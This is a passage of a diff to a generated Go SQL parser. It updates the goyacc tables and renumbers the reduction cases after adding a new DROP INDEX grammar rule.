-1000, + -1000, 160, -66, -54, 124, -1000, 126, -20, -1000, 79, + -1000, 35, -1000, -1000, 128, -19, -19, -1000, 35, 88, + -26, 215, 229, -1000, 161, 235, -1000, -1000, 132, 127, + 272, -1000, 193, 106, 71, -1000, -55, -40, -56, -47, + 88, -1000, 78, -1000, 35, 22, 88, -1000, -1000, 124, + -1000, 224, -1000, -23, -1000, -48, -26, 172, -1000, 173, + -70, -49, -1000, -1000, -1000, -1000, -1000, -19, 252, -57, + -58, 233, 221, 340, 132, -61, -1000, -1000, -1000, -1000, + -1000, -1000, 248, -1000, -1000, 213, 35, 123, 290, -1000, + -1000, 246, 218, 220, 88, 16, -1000, 35, -1000, 215, + 123, 123, 88, -1000, 14, 210, -1000, 123, -1000, -1000, + -1000, 210, -1000, } var yyPgo = [...]int16{ - 0, 396, 314, 395, 394, 393, 16, 392, 391, 20, - 11, 8, 390, 389, 15, 7, 17, 12, 388, 9, - 21, 387, 386, 2, 385, 384, 10, 337, 18, 383, - 382, 151, 381, 13, 380, 379, 0, 14, 378, 377, - 376, 375, 3, 5, 374, 4, 370, 369, 1, 6, - 272, 368, 367, 366, 19, 359, 356, 348, + 0, 402, 330, 401, 400, 399, 16, 398, 397, 20, + 11, 8, 396, 395, 15, 7, 17, 12, 394, 9, + 21, 393, 392, 2, 391, 390, 10, 345, 18, 389, + 388, 169, 387, 13, 386, 385, 0, 14, 384, 383, + 382, 378, 3, 5, 377, 4, 376, 375, 1, 6, + 278, 374, 373, 372, 19, 364, 358, 351, } var yyR1 = [...]int8{ 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 4, 4, 50, 50, 11, 11, 5, - 5, 5, 5, 56, 56, 55, 55, 54, 12, 12, - 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, - 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 18, 19, 8, 8, 9, 44, 44, 44, 51, 51, - 52, 52, 52, 6, 6, 7, 25, 25, 24, 24, - 21, 21, 22, 22, 20, 20, 20, 23, 23, 26, - 26, 26, 26, 27, 28, 29, 29, 29, 30, 30, - 30, 31, 31, 32, 32, 33, 33, 34, 35, 35, - 37, 37, 41, 41, 38, 38, 42, 42, 43, 43, - 47, 47, 49, 49, 46, 46, 48, 48, 48, 45, - 45, 45, 36, 36, 36, 36, 36, 36, 36, 36, - 39, 39, 39, 39, 53, 53, 40, 40, 40, 40, - 40, 40, 40, 40, + 4, 4, 4, 4, 4, 4, 50, 50, 11, 11, + 5, 5, 5, 5, 56, 56, 55, 55, 54, 12, + 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, + 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, + 18, 18, 19, 8, 8, 9, 44, 44, 44, 51, + 51, 52, 52, 52, 6, 6, 7, 25, 25, 24, + 24, 21, 21, 22, 22, 20, 20, 20, 23, 23, + 26, 26, 26, 26, 27, 28, 29, 29, 29, 30, + 30, 30, 31, 31, 32, 32, 33, 33, 34, 35, + 35, 37, 37, 41, 41, 38, 38, 42, 42, 43, + 43, 47, 47, 49, 49, 46, 46, 48, 48, 48, + 45, 45, 45, 36, 36, 36, 36, 36, 36, 36, + 36, 39, 39, 39, 39, 53, 53, 40, 40, 40, + 40, 40, 40, 40, 40, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 5, 6, 8, 6, 0, 3, 1, 3, 9, - 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, - 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, - 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, - 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, - 0, 1, 2, 1, 4, 13, 0, 1, 0, 1, - 1, 1, 2, 4, 1, 4, 4, 1, 3, 3, - 4, 2, 6, 1, 2, 0, 2, 2, 0, 2, - 2, 2, 1, 0, 1, 1, 2, 6, 0, 1, - 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, - 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, - 1, 2, 1, 1, 2, 2, 4, 4, 6, 6, - 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, - 3, 3, 3, 4, + 9, 7, 5, 6, 8, 6, 0, 3, 1, 3, + 9, 8, 7, 8, 0, 4, 1, 3, 3, 0, + 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, + 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, + 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, + 1, 0, 1, 2, 1, 4, 13, 0, 1, 0, + 1, 1, 1, 2, 4, 1, 4, 4, 1, 3, + 3, 4, 2, 6, 1, 2, 0, 2, 2, 0, + 2, 2, 2, 1, 0, 1, 1, 2, 6, 0, + 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, + 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, + 0, 1, 2, 1, 1, 2, 2, 4, 4, 6, + 6, 1, 1, 3, 3, 0, 1, 3, 3, 3, + 3, 3, 3, 3, 4, } var yyChk = [...]int16{ @@ -389,68 +391,70 @@ var yyChk = [...]int16{ -57, 89, 29, 7, 17, 19, 18, 73, 7, 8, 17, 19, 17, 34, 34, 44, -27, 73, 56, -24, 43, -2, -50, 60, -50, -50, 19, 73, -28, -29, - 10, 11, 73, 73, 73, -27, -27, -27, 38, -25, - 57, -21, 86, -22, -20, -23, 80, 73, 73, 58, - 73, 20, -50, -30, 13, 12, -31, 14, -36, -39, - -40, 58, 85, 61, -20, -18, 90, 75, 76, 77, - 78, 79, 66, -19, 68, 69, 65, 73, -31, 82, - 22, 23, 5, 90, 90, -37, 47, -55, -54, 73, - -6, 44, 83, -45, 73, 55, 90, 82, 61, 90, - 73, 20, -31, -31, -36, 84, 85, 87, 86, 71, - 72, 63, -53, 67, 58, -36, -36, 90, -36, 90, - 90, -10, 73, 25, 25, 25, -12, -10, -10, -49, - 6, -36, -37, 83, 72, -26, -27, 90, -19, 73, - -20, 73, 86, -23, 73, -8, -9, 73, 90, 73, - -36, -36, -36, -36, -36, -36, 65, 58, 59, 62, - 74, -6, 91, -36, -17, -16, -36, 83, -9, 73, - 73, 91, 91, -42, 50, 19, -49, -54, -36, -49, - -28, -6, 9, -45, -45, 91, 91, 83, 74, -10, - 90, 65, -36, 90, 91, 55, 91, 83, 73, 24, - 35, 35, -43, 51, -36, 20, -42, -32, -33, -34, - -35, 70, -45, 91, 15, 26, -9, -44, 92, 90, - 91, -10, -6, -16, 74, -36, 73, -14, -15, 90, - -14, -36, -11, 73, 90, -43, -37, -33, 45, -45, - 73, 27, -52, 65, 58, 75, 75, 91, 91, 91, - 91, -56, 83, 20, -17, -10, -41, 48, -26, 91, - -11, -51, 64, 65, 93, 91, -15, 39, 91, 91, - -38, 46, 49, -49, -45, 91, 40, -47, 52, -36, - -13, -23, 20, 41, -42, 49, 83, -36, -43, -46, - -23, -23, 83, -48, 53, 54, -23, -48, + 10, 11, 73, 20, 73, 73, -27, -27, -27, 38, + -25, 57, -21, 86, -22, -20, -23, 80, 73, 73, + 58, 73, 20, -50, -30, 13, 12, -31, 14, -36, + -39, -40, 58, 85, 61, -20, -18, 90, 75, 76, + 77, 78, 79, 66, -19, 68, 69, 65, 73, -31, + 73, 82, 22, 23, 5, 90, 90, -37, 47, -55, + -54, 73, -6, 44, 83, -45, 73, 55, 90, 82, + 61, 90, 73, 20, -31, -31, -36, 84, 85, 87, + 86, 71, 72, 63, -53, 67, 58, -36, -36, 90, + -36, 90, 90, 90, -10, 73, 25, 25, 25, -12, + -10, -10, -49, 6, -36, -37, 83, 72, -26, -27, + 90, -19, 73, -20, 73, 86, -23, 73, -8, -9, + 73, 90, 73, -36, -36, -36, -36, -36, -36, 65, + 58, 59, 62, 74, -6, 91, -36, -17, -16, -36, + -10, 83, -9, 73, 73, 91, 91, -42, 50, 19, + -49, -54, -36, -49, -28, -6, 9, -45, -45, 91, + 91, 83, 74, -10, 90, 65, -36, 90, 91, 55, + 91, 83, 91, 73, 24, 35, 35, -43, 51, -36, + 20, -42, -32, -33, -34, -35, 70, -45, 91, 15, + 26, -9, -44, 92, 90, 91, -10, -6, -16, 74, + -36, 73, -14, -15, 90, -14, -36, -11, 73, 90, + -43, -37, -33, 45, -45, 73, 27, -52, 65, 58, + 75, 75, 91, 91, 91, 91, -56, 83, 20, -17, + -10, -41, 48, -26, 91, -11, -51, 64, 65, 93, + 91, -15, 39, 91, 91, -38, 46, 49, -49, -45, + 91, 40, -47, 52, -36, -13, -23, 20, 41, -42, + 49, 83, -36, -43, -46, -23, -23, 83, -48, 53, + 54, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 73, 78, - 2, 5, 9, 25, 25, 25, 0, 14, 0, 95, - 0, 0, 0, 0, 0, 0, 0, 93, 76, 0, - 79, 3, 0, 0, 0, 0, 25, 15, 16, 98, - 0, 0, 18, 0, 0, 0, 0, 110, 0, 0, - 77, 0, 80, 81, 129, 84, 0, 87, 13, 0, - 0, 0, 0, 94, 0, 0, 96, 0, 102, -2, - 133, 0, 0, 0, 140, 141, 0, 51, 52, 53, - 54, 55, 0, 57, 58, 59, 60, 87, 97, 0, - 0, 0, 0, 38, 0, 122, 0, 110, 35, 0, - 74, 0, 0, 82, 130, 0, 0, 0, 26, 0, - 0, 0, 99, 100, 101, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 145, 134, 135, 0, 0, 0, - 47, 21, 43, 0, 0, 0, 0, 39, 0, 116, - 0, 111, 122, 0, 0, 122, 95, 0, 129, 93, - 129, 131, 0, 0, 88, 0, 62, 0, 0, 0, - 146, 147, 148, 149, 150, 151, 152, 0, 0, 0, - 143, 0, 142, 0, 0, 48, 49, 0, 22, 0, - 24, 0, 0, 118, 0, 0, 116, 36, 37, -2, - 129, 0, 0, 91, 83, 85, 86, 0, 65, 0, - 0, 153, 136, 0, 137, 0, 61, 0, 44, 0, - 0, 0, 31, 0, 117, 0, 118, 110, 104, -2, - 0, 109, 89, 129, 0, 0, 63, 70, 0, 0, - 19, 0, 0, 0, 0, 50, 23, 33, 40, 47, - 30, 119, 123, 27, 0, 32, 112, 106, 0, 90, - 0, 0, 68, 71, 0, 0, 0, 20, 138, 139, - 56, 29, 0, 0, 0, 0, 114, 0, 122, 129, - 0, 64, 69, 72, 66, 67, 41, 0, 42, 28, - 120, 0, 0, 0, 92, 17, 0, 116, 0, 115, - 113, 45, 0, 34, 118, 0, 0, 107, 75, 121, - 126, 46, 0, 124, 127, 128, 126, 125, + 0, 0, 0, 0, 0, 0, 0, 0, 74, 79, + 2, 5, 9, 26, 26, 26, 0, 14, 0, 96, + 0, 0, 0, 0, 0, 0, 0, 94, 77, 0, + 80, 3, 0, 0, 0, 0, 26, 15, 16, 99, + 0, 0, 18, 0, 0, 0, 0, 0, 111, 0, + 0, 78, 0, 81, 82, 130, 85, 0, 88, 13, + 0, 0, 0, 0, 95, 0, 0, 97, 0, 103, + -2, 134, 0, 0, 0, 141, 142, 0, 52, 53, + 54, 55, 56, 0, 58, 59, 60, 61, 88, 98, + 0, 0, 0, 0, 0, 39, 0, 123, 0, 111, + 36, 0, 75, 0, 0, 83, 131, 0, 0, 0, + 27, 0, 0, 0, 100, 101, 102, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 146, 135, 136, 0, + 0, 0, 48, 0, 22, 44, 0, 0, 0, 0, + 40, 0, 117, 0, 112, 123, 0, 0, 123, 96, + 0, 130, 94, 130, 132, 0, 0, 89, 0, 63, + 0, 0, 0, 147, 148, 149, 150, 151, 152, 153, + 0, 0, 0, 144, 0, 143, 0, 0, 49, 50, + 0, 0, 23, 0, 25, 0, 0, 119, 0, 0, + 117, 37, 38, -2, 130, 0, 0, 92, 84, 86, + 87, 0, 66, 0, 0, 154, 137, 0, 138, 0, + 62, 0, 21, 45, 0, 0, 0, 32, 0, 118, + 0, 119, 111, 105, -2, 0, 110, 90, 130, 0, + 0, 64, 71, 0, 0, 19, 0, 0, 0, 0, + 51, 24, 34, 41, 48, 31, 120, 124, 28, 0, + 33, 113, 107, 0, 91, 0, 0, 69, 72, 0, + 0, 0, 20, 139, 140, 57, 30, 0, 0, 0, + 0, 115, 0, 123, 130, 0, 65, 70, 73, 67, + 68, 42, 0, 43, 29, 121, 0, 0, 0, 93, + 17, 0, 117, 0, 116, 114, 46, 0, 35, 119, + 0, 0, 108, 76, 122, 127, 47, 0, 125, 128, + 129, 127, 126, } var yyTok1 = [...]int8{ @@ -898,271 +902,276 @@ yydefault: yyVAL.stmt = &CreateIndexStmt{unique: true, ifNotExists: yyDollar[4].boolean, table: yyDollar[6].id, cols: yyDollar[8].ids} } case 21: + yyDollar = yyS[yypt-7 : yypt+1] + { + yyVAL.stmt = &DropIndexStmt{table: yyDollar[4].id, cols: yyDollar[6].ids} + } + case 22: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.stmt = &DropIndexStmt{table: yyDollar[3].id, cols: yyDollar[5].ids} } - case 22: + case 23: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &AddColumnStmt{table: yyDollar[3].id, colSpec: yyDollar[6].colSpec} } - case 23: + case 24: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].id, oldName: yyDollar[6].id, newName: yyDollar[8].id} } - case 24: + case 25: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].id, colName: yyDollar[6].id} } - case 25: + case 26: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 26: + case 27: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 27: + case 28: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 28: + case 29: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 29: + case 30: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 30: + case 31: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 31: + case 32: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 32: + case 33: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 33: + case 34: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 34: + case 35: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 35: + case 36: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 36: + case 37: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 37: + case 38: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 38: + case 39: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 39: + case 40: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 40: + case 41: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 41: + case 42: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 42: + case 43: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 43: + case 44: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 44: + case 45: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 45: + case 46: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 46: + case 47: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 47: + case 48: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 48: + case 49: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 49: + case 50: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 50: + case 51: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 51: + case 52: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 52: + case 53: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 53: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 54: + case 55: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 55: + case 56: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 56: + case 57: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 57: + case 58: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 58: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 59: + case 60: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 60: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 61: + case 62: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 62: + case 63: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 63: + case 64: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 64: + case 65: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 65: + case 66: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 66: + case 67: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 67: + case 68: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 68: + case 69: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 69: + case 70: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 70: + case 71: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 71: + case 72: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 72: + case 73: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 73: + case 74: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 74: + case 75: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1171,7 +1180,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 75: + case 76: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1188,397 +1197,397 @@ yydefault: offset: yyDollar[13].exp, } } - case 76: + case 77: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 77: + case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 78: + case 79: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 79: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 80: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 81: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 82: + case 83: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 83: + case 84: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 84: + case 85: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 85: + case 86: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 86: + case 87: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 87: + case 88: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 88: + case 89: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 89: + case 90: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 90: + case 91: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 91: + case 92: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 92: + case 93: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 93: + case 94: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 94: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 95: + case 96: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 96: + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 97: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 98: + case 99: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 99: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 100: + case 101: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 101: + case 102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 102: + case 103: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 103: + case 104: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 104: + case 105: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 105: + case 106: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 106: + case 107: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 107: + case 108: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 108: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 109: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 110: + case 111: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 111: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 112: + case 113: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 113: + case 114: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 114: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 115: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 116: + case 117: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 117: + case 118: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 118: + case 119: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 119: + case 120: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 120: + case 121: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 121: + case 122: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 122: + case 123: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 123: + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 124: + case 125: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 125: + case 126: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 126: + case 127: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 127: + case 128: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 128: + case 129: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 129: + case 130: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 130: + case 131: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 131: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 132: + case 133: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 133: + case 134: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 134: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 135: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 136: + case 137: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 137: + case 138: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 138: + case 139: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 139: + case 140: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 140: + case 141: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 141: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 142: + case 143: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 143: + case 144: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 144: + case 145: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 145: + case 146: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 146: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 147: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 148: 